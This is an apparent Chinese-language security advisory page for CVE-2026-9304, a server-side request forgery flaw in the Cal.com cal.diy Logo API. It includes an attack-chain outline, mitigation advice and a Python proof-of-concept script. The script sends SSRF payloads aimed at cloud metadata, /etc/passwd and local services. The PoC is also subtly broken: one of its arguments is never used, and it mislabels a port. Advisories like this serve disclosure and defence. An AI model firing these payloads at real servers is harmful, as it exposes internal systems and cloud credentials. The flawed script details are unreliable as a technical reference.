IPBUF安全漏洞报告
English
CVE-2026-9304 CVSS 5.0 中危

CVE-2026-9304 Cal.com cal.diy Logo API服务器端请求伪造漏洞

披露日期: 2026-05-23

漏洞信息

漏洞编号
CVE-2026-9304
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
calcom cal.diy

相关标签

服务器端请求伪造SSRFCal.comcal.diyLogo APICVE-2026-9304Web安全远程攻击

漏洞概述

CVE-2026-9304是Cal.com cal.diy应用中存在的服务器端请求伪造(SSRF)安全漏洞。该漏洞存在于Logo API组件中,具体位于apps/web/app/api/logo/route.ts文件中的validateUrlForSSRF函数。攻击者可以通过构造恶意URL请求,诱导服务器向任意内部或外部资源发起请求,从而访问内部系统、读取敏感数据或对其他服务发起攻击。该漏洞影响cal.diy 4.9.4及之前版本,CVSS评分5.0,属于中危级别。攻击复杂度较高但具有远程攻击能力,攻击者需要低权限即可利用此漏洞。由于该漏洞的利用代码已公开,建议相关用户尽快采取防护措施。

技术细节

该漏洞源于Cal.com cal.diy应用的Logo API端点对用户提供的URL缺乏充分的验证和过滤。攻击者可以通过Logo上传或配置功能,提交包含恶意构造的URL(如内网IP地址、file://协议、dict://协议等),服务器端的validateUrlForSSRF函数未能正确识别和阻止这些恶意请求,导致服务器会向攻击者指定的目标发起请求。攻击者可以利用此漏洞探测内网服务(如redis://127.0.0.1:6379、http://169.254.169.254获取云元数据等)、读取本地文件(file:///etc/passwd)或对内部服务发起拒绝服务攻击。SSRF漏洞的危险性在于它可以绕过网络边界防护,直接利用服务器作为跳板攻击内部系统。

攻击链分析

STEP 1
1
攻击者识别目标站点使用的Cal.com cal.diy应用版本(≤4.9.4)
STEP 2
2
攻击者访问Logo API端点(/api/logo)并分析validateUrlForSSRF函数的输入验证机制
STEP 3
3
攻击者构造包含恶意URL的请求载荷,如内网IP、file://或dict://协议
STEP 4
4
服务器接收请求后,validateUrlForSSRF未能正确过滤恶意URL
STEP 5
5
服务器向攻击者指定的目标发起请求,实现SSRF攻击
STEP 6
6
攻击者获取响应数据,可能包括内网服务信息、本地文件内容或云元数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_ssrf(target_url, attacker_controlled_url): """ PoC for CVE-2026-9304 - Cal.com SSRF in Logo API This demonstrates how an attacker can abuse the Logo API to perform SSRF attacks. """ # Target Logo API endpoint logo_api_url = f"{target_url}/api/logo" # Malicious URLs to test SSRF ssrf_payloads = [ "http://127.0.0.1:22", # SSH service detection "http://169.254.169.254/latest/meta-data/", # AWS metadata "file:///etc/passwd", # Local file read "dict://localhost:11211/stats", # Redis info leak ] headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; SSRF-PoC/1.0)" } for payload in ssrf_payloads: try: data = { "logoUrl": payload, "username": "attacker" } response = requests.post(logo_api_url, json=data, headers=headers, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"[!] Error with payload {payload}: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python exploit.py <target_url> <attacker_url>") print("Example: python exploit.py http://vulnerable-cal.com http://attacker.com") sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)

影响范围

calcom cal.diy <= 4.9.4

防御指南

临时缓解措施
在厂商发布修复版本之前,可通过以下措施临时缓解风险:1) 在Web服务器层面配置URL过滤规则,阻止对内网IP段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)和localhost的访问;2) 禁用Logo API的外部URL功能,限制只能使用预定义的Logo;3) 部署网络层访问控制,限制服务器出站流量;4) 监控Logo API的请求日志,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表